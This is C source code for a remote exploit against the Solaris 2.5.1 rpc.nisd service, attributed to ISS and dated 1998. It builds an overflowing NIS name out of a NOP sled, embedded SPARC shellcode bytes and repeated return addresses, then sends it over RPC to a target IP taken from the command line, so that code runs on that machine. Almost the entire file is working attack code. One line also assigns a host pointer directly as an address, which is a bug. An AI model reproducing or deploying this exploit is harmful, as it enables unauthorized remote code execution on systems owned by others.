/*
 * rpc.nisd live exploit.
 *
 * Copyright (C) 1998 ISS, Inc.
 *     All Rights Reserved.
 *
 * THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ISS
 * The copyright notice above does not evidence any
 * actual or intended publication of such source code.
 *
 * This code can be very dangerous if put in the wrong hands.
 * Do not distribute.
 *
 * Josh Daymont March 1998
 */

/* This works on:
 * Solaris 2.5.1/sparc
 * Note: Will *not* work on 2.6 (2.6 still doesn't check string lengths
 *       while XDR'ing, but I'm unable to overrun anything, need to
 *       investigate further)
 *       Untested against 2.5.  Probably won't work against anything earlier.
 */

/* This should compile cleanly on:
 * Solaris 2.5.1/sparc
 * Solaris 2.6/sparc
 * Note: all most other modern systems need is /usr/include/rpcsvc/nis.x
 *       and nisd_object.x from solaris.  Rpcgen these and stick them
 *       somewhere on the include path.
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <rpcsvc/nis.h>
#include <rpcsvc/nis_object.h>

#define BUFLEN  (348)
#define ADDRFILL (2000)
#define SPARC_NOP       (0xa61cc013)
#define THEADDR (0xefffce50 - 1000)


u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x9c\x03\xbf\x38\x90\x0b\x80\x0e\x92\x03\xa0\x68\x94\x1a\x80\x0a"
"\x9c\x03\xa0\xc8\xec\x3b\xbf\x38\xc0\x23\xbf\x40\x2d\x0b\x58\xff"
"\xec\x23\xbf\x44\xc0\x33\xbf\x46\x2d\x19\x58\xda\xac\x15\xa0\x6f"
"\x2d\x1b\x48\x1d\xac\x15\xa0\x63\x2f\x1c\x08\x1b\xae\x15\xe2\x6f"
"\xac\x15\xa3\x68\x2f\x09\xc8\x0f\xae\x15\xe2\x20\xec\x3b\xbf\x70"
"\x2d\x0b\xdd\x1b\xac\x15\xa1\x70\x2f\x0b\xde\x1c\xae\x15\xe0\x30"
"\xac\x15\xa0\x73\x2f\x1d\x1c\x99\xae\x15\xe1\x61\xec\x3b\xbf\x50"
"\x2f\x08\x09\xdb\xae\x15\xe0\x69\xec\x3b\xbf\x48\x2d\x1b\x9a\xc8"
"\xec\x3b\xbf\x58\x2d\x1d\xd8\x5a\xac\x15\xa1\x74\x2f\x08\x1c\x9b"
"\xae\x15\xe3\x6f\xec\x3b\xbf\x60\x2d\x1d\x08\x0b\xac\x15\xa3\x62"
"\x2f\x1a\x5b\x8b\xae\x15\xe3\x73\xec\x3b\xbf\x68\x2d\x1a\x08\x1c"
"\xac\x15\xa3\x20\x2f\x0b\xdd\x1b\xae\x15\xe1\x70\xe5\x3b\xbf\x90"
"\x2d\x0b\xde\x1c\xac\x15\xa0\x30\xec\x23\xbf\x98\xc0\x23\xbf\x9c"
"\xac\x03\xbf\x38\xec\x23\xbf\xa0\xac\x03\xbf\x44\xec\x23\xbf\xa4"
"\xac\x03\xbf\x48\xec\x23\xbf\xa8\xc0\x23\xbf\xac\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";




bool_t
xdr_nis_name(xdrs, objp)
        register XDR *xdrs;
        nis_name *objp;
{

        register long *buf;

        if (!xdr_string(xdrs, objp, ~0))
                return (FALSE);
        return (TRUE);
}

bool_t
xdr_nis_error(xdrs, objp)
        register XDR *xdrs;
        nis_error *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
                return (FALSE);
        return (TRUE);
}



int main(int argc, char **argv)
{
   char *buffer;
   int i;
   u_long *lp;
   CLIENT *cl;
   struct sockaddr_in saddr;
   struct timeval tv;
   struct hostent *hp;
   int sock=RPC_ANYSOCK;
   enum clnt_stat clstat;
   nis_error nerr;
   
   if(argc != 2) {
      printf("Usage: ./nisd Target-IP\n");
      exit(0);
   }

   buffer = (char *)malloc(BUFLEN+ADDRFILL+100);
   if (buffer == NULL)
   {
      perror(argv[0]);
      return 1;
   }

   for (lp=(u_long *)buffer;lp < (u_long *) &buffer[BUFLEN-strlen(sparc_shellcode)];*lp++ = (u_long)SPARC_NOP)
      /* do nothing */;

   memcpy(&buffer[BUFLEN-strlen(sparc_shellcode)], sparc_shellcode, strlen(sparc_shellcode));

   for (lp=(u_long *)&buffer[BUFLEN];lp<(u_long *)&buffer[BUFLEN+ADDRFILL];*lp++ = (u_long)THEADDR)
      /* do nothing */;

   buffer[BUFLEN+ADDRFILL] = '.';
   buffer[BUFLEN+ADDRFILL+1] = '\0';

   lp = (u_long *)(buffer + 1236);

   *lp = THEADDR + 1000 + 100;

if ((hp = gethostbyname (argv[1])) == NULL)
  {
    printf ("Couldnt resolve %s!\n", argv[1]);
    exit (-1);
  }

   saddr.sin_family = AF_INET;
   saddr.sin_port = 0;
   saddr.sin_addr.s_addr = hp;

   tv.tv_sec = 5;
   tv.tv_usec = 0;

   cl = (CLIENT *)clntudp_create(&saddr, 100300, 3, tv, &sock);

   if (cl == NULL)
   {
      clnt_pcreateerror(argv[0]);
      return 1;
   }

   clstat = clnt_call(cl, 22, xdr_nis_name, (caddr_t)&buffer, xdr_nis_error, (caddr_t)&nerr, tv);

   printf("clstat %d\n", clstat);

   if (clstat == RPC_SUCCESS)
      printf("nerr %d\n", nerr);
}
